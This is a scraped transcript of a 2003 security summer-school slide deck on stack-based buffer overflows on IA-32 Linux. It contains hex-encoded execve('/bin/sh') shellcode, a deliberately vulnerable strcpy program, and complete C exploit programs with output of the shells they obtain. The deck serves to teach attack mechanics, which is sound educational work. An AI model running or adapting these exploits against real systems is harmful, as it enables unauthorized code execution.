international summer school on information and system security 2003 1 stack based buffer overflows...
Embed Size (px)
DESCRIPTION
International Summer School on Information and System Security IntroductionTRANSCRIPT
-
Stack Based Buffer Overflows
Alberto Ornaghi Lorenzo Cavallaro
International Summer School on Information and System Security 2003
-
Table of contentsIA-32 introductionThe issueCode injectionShellcodeBuffer overflowLocal buffer overflow (no address guessing)
International Summer School on Information and System Security 2003
-
Introduction
International Summer School on Information and System Security 2003
-
Stack layout
int foo(int a, int b){ int i = 5; return (a + b) * i;}
int main(int argc, char **argv){ int c = 3, d = 4, e = 0; e = foo(c, d); printf(e = %d\n, e);}highlowstack
International Summer School on Information and System Security 2003
-
Activation Record
Return Address Its the address of the instruction to be executed once thecalled procedure ends.
Saved Base Pointer (saved frame pointer) It holds EBP register value at the time the called procedure is run and it points to the previous activation record. ret addresssaved base pointerautomatic variables......highlow
International Summer School on Information and System Security 2003
-
Nested ARs
int foo(int a, int b){ bar(a, b);}
int bar(int a, int b){ ...}
int main(int argc, char **argv){ foo(c, d);}dchighlow
International Summer School on Information and System Security 2003
-
CPU registers
EIP: instruction pointerit points to the next instruction to be executed
EBP: base pointer (frame pointer)it points to the base of the current AR (static)
ESP: stack pointerit points to the top of the stack (dynamic)dchighlowret addressbSFPret addressaSFP
International Summer School on Information and System Security 2003
-
Prologue and EpiloguePrologue:
push %ebp(save %ebp)mov %esp, %ebp(move %ebp)
Epilogue:
leave(reset %ebp)ret(reset %eip)
International Summer School on Information and System Security 2003
-
Automatic variables
int foo(int a, int b){ int i, j; char buf[9]; }
Default stack alignment is on a double word boundary (4 byte on ia32)
So buffers are just padded to be ona double word boundary.bahighlowret addressbuf[0]ijSFPpad
International Summer School on Information and System Security 2003
-
The issue
International Summer School on Information and System Security 2003
-
Plain situation
int foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, securephd);}bahighlowret addressSFP
International Summer School on Information and System Security 2003
-
Critical Situation
int foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, securephdbcde);}bahighlowret addressSFP
International Summer School on Information and System Security 2003
-
Very critical situation
int foo(int a, int b){ int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, securephdaaabbbbcccceeeeffff);}bahighlow
International Summer School on Information and System Security 2003
-
Code Injection
International Summer School on Information and System Security 2003
-
Ret address modification
bahighlow0xbffffcab0xbffffca70xbffffc8bint a = 3;int b = 5;int e;
e = foo(a, b);
printf(%d\n, e);
International Summer School on Information and System Security 2003
-
ret addr guessing (1)
There are no efficient algorithms allowing to blindly find out the ret addr, even if there exist few techniques that may help us while exploiting such vulnerabilities.
We simply try to bruteforce the addresses space keepingin mind that the OS uses virtual memory with paging and so the stack always starts at the same fixed address Process 1Process 2highlow
International Summer School on Information and System Security 2003
-
ret addr guessing (2)A Process image (roughly) looks like:
envargvmain AR foo ARhighlow bar ARstatic (fixed)offsetvariable offset
International Summer School on Information and System Security 2003
-
ret addr guessing (3)Stack pointer register (esp) represents a good baseto add offsets to (or subtract offsets from); theaddress obtained this way may be quite a goodcandidate as retaddr for the vulnerable program.
buf[4]buf[0]aespret addrboffset (8)highlow
International Summer School on Information and System Security 2003
-
IssuesFunctions that manipulate strings (strcpy, gets, etc) copy as far as they dont find a NULL byte (stringterminator).Injected code MUST NOT contain NULL bytes.
code[] = \xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08\xc7\x47;
strcpy(buf, code);
buf = \xeb\x2a\x5f\xc6\x47\x07
International Summer School on Information and System Security 2003
-
ret addr rangeTo improve our chance to find a suitable ret addr we can prepend to our injected code something that works like a landing strip: NOP (0x90) (machine instruction that does No Operation).
ret address90 90 90 9090 90 90 90CODEINJE90 90 90 9090 90 90 90...Allowed ret addr rangeCTED
International Summer School on Information and System Security 2003
-
Buffer structureInjected buffer will look like this one:
NOP NOPEXECUTABLE CODERET ADDRcode[] = \x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\xbf;little endian !!
International Summer School on Information and System Security 2003
-
Considerations...Target buffer might be too small to hold useful codes
We may encounter non executable stack region
We can put injected code anywhere in memory, not just into the stack
International Summer School on Information and System Security 2003
-
Shellcode
International Summer School on Information and System Security 2003
-
execve (1)
intmain(void){ char *name[] = { /bin/sh, NULL }; execve(name[0], name, NULL);}int execve(const char *filename, \ char *const argv[], \ char *const envp[] );execve prototype (user land)
International Summer School on Information and System Security 2003
-
execve (2)
(gdb) disass main
push %ebpmov %esp,%ebpsub $0x8,%esplea 0xfffffff8(%ebp),%eaxmovl $0x808b6c8,0xfffffff8(%ebp)movl $0x0,0xfffffffc(%ebp)push $0x0lea 0xfffffff8(%ebp),%eaxpush %eaxmov 0xfffffff8(%ebp),%eaxpush %eaxcall 0x804bf90 $0x808b6c8$0x0highlowstack layout
International Summer School on Information and System Security 2003
-
execve (3)
push %ebpmov %esp,%ebpmov 0x8(%ebp),%edimov $0x0,%eaxmov 0xc(%ebp),%ecxmov 0x10(%ebp),%edxpush %ebxmov %edi,%ebxmov $0xb,%eaxint $0x80highlowstack layout%ebp0x8(%ebp)0xc(%ebp)0x10(%ebp)%ebx
-
execve (4)
must have the string /bin/sh somewhere in memory. must build the array holding the address of /bin/sh, followed by 0x0 (i.e., the address at which the address of the string /bin/sh is) put the proper values into the proper registers
We:
International Summer School on Information and System Security 2003
-
execve (5)
Lets suppose that %ebx holds the address of the string /bin/sh, now it suffices to do:movl %ebx, 0x8(%ebx)movb $0x0, 0x7(%ebx)movl $0x0, 0xc(%ebx)leal 0x8(%ebx), %ecxleal 0xc(%ebx), %edxmovl $0xb, %eaxint $0x80highlowstack layout%ebxaddraddr0x8(%ebx)0$0x00xc(%ebx)addr+4addr+8addr+12
/sh
/bin
International Summer School on Information and System Security 2003
-
execve (6)
We cannot know the absolute address of the location at which the string /bin/sh is stored, but we dont care
jmp aheadback: popl %ebx ahead: call back .string \/bin/sh\
International Summer School on Information and System Security 2003
-
execve (7)
jmp ahead # 0xeb 0x1c back: popl %ebx # 0x5b movl %ebx, 0x8(%ebx) # 0x89 0x5b 0x08 movb $0x0, 0x7(%ebx) # 0xc6 0x43 0x07 00 movl $0x0, 0xc(%ebx) # 0xc7 0x43 0x0c 00 00 00 00 leal 0x8(%ebx), %ecx # 0x8d 0x4b 0x08 leal 0xc(%ebx), %edx # 0x8d 0x53 0x0c movl $0xb, %eax # 0xb8 0x0b 00 00 00 int $0x80 # 0xcd 0x80 ahead: call back # 0xd8 0xdf 0xff 0xff 0xff .string \/bin/sh\ # 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68
International Summer School on Information and System Security 2003
-
Nil bytes avoidance
International Summer School on Information and System Security 2003
-
Nil bytes
movb $0x0, 0x7(%ebx) movl $0x0, 0xc(%ebx) movl $0xb, %eax
International Summer School on Information and System Security 2003
-
shellcode (1)
intmain(void) { __asm__( jmp ahead back: popl %ebx xorl %eax, %eax movl %ebx, 0x8(%ebx) movb %al, 0x7(%ebx) movl %eax, 0xc(%ebx) leal 0x8(%ebx), %ecx leal 0xc(%ebx), %edx movb $0xb, %al int $0x80 ahead: call back .string \/bin/sh\ ); }Are there any issues with thistest?
International Summer School on Information and System Security 2003
-
shellcode (2)
(gdb) x/29b 0x80483c30x80483c3 : 0xeb 0x16 0x5b 0x31 0xc0 0x89 0x5b 0x080x80483cb : 0x88 0x43 0x07 0x89 0x43 0x0c 0x8d 0x4b0x80483d3 : 0x08 0x8d 0x53 0x0c 0xb0 0x0b 0xcd 0x800x80483db : 0xe8 0xe5 0xff 0xff 0xff
International Summer School on Information and System Security 2003
-
shellcode (3)
#include
unsigned char code[]= "\xeb\x16\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43 \x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5 \xff\xff\xff/bin/sh";
intmain(void){ void (*f)(void) = (void (*)(void))code;
f();
/* never reached */ exit(0);}
International Summer School on Information and System Security 2003
-
shellcode (4)
intmain(void){ char *name[] = { /bin/sh, NULL }; char *env[] = { PATH=/bin:/sbin:/nonexistent, NULL };
execve(name[0], name, env);
/* never reached */ exit(1);}
International Summer School on Information and System Security 2003
-
shellcode (5)
jmp aheadback: popl %edi jmp beginahead: call backbegin:
xorl %eax, %eax movl %edi, %ebx addb $(shell - begin), %bl pushl %ebx
movl %ebx, 40(%ebx) movl %eax, 44(%ebx) movb %al, 7(%ebx) leal 40(%ebx), %ecxhighlow
XXXX=/binPATH/shA/bin
International Summer School on Information and System Security 2003
-
shellcode (6)
movl %edi, %ebx addb $(env - begin), %bl
movl %ebx, 48(%ebx) movl %eax, 52(%ebx) movb %al, 28(%ebx) leal 48(%ebx), %edx
popl %ebx movb $0xb, %al int $0x80
shell: .string \"/bin/sh\" # 7 bytesenv: # 33 bytes: 29 w/o X and 28 w/o X and A # strlen(shell) + strlen(env) = 40 bytes
.string \"APATH=/bin:/sbin:/nonexistentXXXX\highlow
XXXX=/binPATH/shA/bin
International Summer School on Information and System Security 2003
-
Shellcode testing
unsigned char shellcode[] = \xeb\x18\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89 \x47\x0c\x8d\x57\x0c\x8d\x4f\x08\x89\xfb\xb0\x0b \xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
int main(){
void (*f)(void) = (void (*)(void))shellcode;
f();
}sh-2.03# iduid=0(root) gid=0(root) groups=0(root)
International Summer School on Information and System Security 2003
-
Vulnerable program (1)
void foo(char *);
intmain(void){ char name[512];
memset(name, 0, sizeof (name)); fgets(name, sizeof (name), stdin); name[strlen(name) 1] = 0;
printf(calling foo \n); foo(name); printf(foo executed succesfully\n);
exit(0);}
International Summer School on Information and System Security 2003
-
Vulnerable program (2)
voidfoo(char *s){ char buf[128];
fprintf(stderr, buf @ %p\n, buf); memset(buf, 0, sizeof (buf)); strcpy(buf, s);
printf(Hello %s\n, buf);
return;}
International Summer School on Information and System Security 2003
-
Vulnerable program (3)
[email protected]% ./vuln ~PhD classcalling foo buf @ 0xbffff9fcHello PhD classfoo executed [email protected]% [email protected]% perl -e '{ print "A" x 256 }' | ./vulncalling foo ...buf @ 0xbffff9fcHello'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'zsh: 2587 done perl -e '{ print "A" x 256 }' |zsh: 2588 segmentation fault (core dumped) ./[email protected]% gdb -q -c core Core was generated by `./vuln'.Program terminated with signal 11, Segmentation fault.#0 0x41414141 in ?? ()
International Summer School on Information and System Security 2003
-
Exploit (1)
unsigned char shellcode[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43\x0c\x8d\x4b" "\x08\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
#define NOP 0x90
#define SIZE 256#define OFFSET 0#define ALIGN 0
static long __inline__ get_esp(void);
intmain(int argc, char **argv){
int align, offset, size, c, i; long *ptr; long addr; char *p;
International Summer School on Information and System Security 2003
-
Exploit (2)
p = (char *) calloc(1, size + align); /* align ourself */ p = (char *) (p + align);
addr = get_esp() + offset; ptr = (long *)p;
for (i = 0; i < size; i += 4) *ptr++ = addr;
c = size/2 - strlen(shellcode); memset(p, NOP, c); memcpy(p + c, shellcode, strlen(shellcode));
printf("%s\n", p); exit(0);}
International Summer School on Information and System Security 2003
-
Exploit (3)
static long __inline__get_esp(void){
long ret;
/* * force using %eax as output register to align * ourself to gcc output */ __asm__ ("movl %%esp, %0" : "=a" (ret));
return ret;}
International Summer School on Information and System Security 2003
-
Exploit (4)
[email protected]% (./x s 160 o 0x260; cat) | ./vuln[+] using address: 0xbffff9fc[+] NOP filling: 45 bytes[+] shellcode size: 35 /bin/shiduid=1021(sullivan) gid=100(users) groups=100(users)ls -a. local.c shellcode.c stack.c test.c vuln.c x.c x2.c x3.c.. local shellcode stack test vuln x x2 x3exit
International Summer School on Information and System Security 2003
-
Local vulnerability (1)
void foo(char *);
intmain(int argc, char **argv){
printf("calling foo ...\n"); foo(argv[1]); printf("foo executed succesfully\n");
exit(0);}
International Summer School on Information and System Security 2003
-
Local vulnerability (2)
0xc0000000addressable in kernel spaceaddressable in kernel/user spaceenvinjected buffer (shellcodes address)argvnil terminated shellcode
./lo
cal0
shellcode
International Summer School on Information and System Security 2003
-
Local exploit (1)
#define VULN "./local"#define SIZE 160
unsigned char shellcode[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43\x0c\x8d\x4b" "\x08\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
intmain(int argc, char **argv){
char p[SIZE]; /* put the shellcode in target's envp */ char *envp[] = { shellcode, NULL }; /* what to execute */ char *vuln[] = { VULN, p, NULL }; int *ptr, i, addr;
International Summer School on Information and System Security 2003
-
Local exploit (2)
/* * compute return address: since strlen doesnt * count for nil bytes, we do * 0xc0000000 4 1 1 = 0xbffffffa */ addr = 0xbffffffa - strlen(shellcode) - strlen(VULN); fprintf(stderr, "[+] using address: %#010x\n", addr);
/* fill buffer with computed address */ ptr = (int * )p; for (i = 0; i < SIZE; i += 4) *ptr++ = addr; execve(vuln[0], vuln, envp);
fprintf(stderr, "[!] execve: %s\n", strerror(errno)); exit(1);}
International Summer School on Information and System Security 2003
-
Local exploit (3)
[email protected]% ./x2[+] using address: 0xbfffffd0calling foo ...Hello '[email protected]'sh-2.05a$ lslocal shellcode.c stack.c test.c vuln.c x.c x2.c x3.clocal.c shellcode stack test vuln x x2 x3sh-2.05a$ [email protected]%
International Summer School on Information and System Security 2003
-
ContactsLorenzo Cavallaro Alberto Ornaghi http://sullivan.antifork.org/http://alor.antifork.org/http://shellcodes.antifork.org/
International Summer School on Information and System Security 2003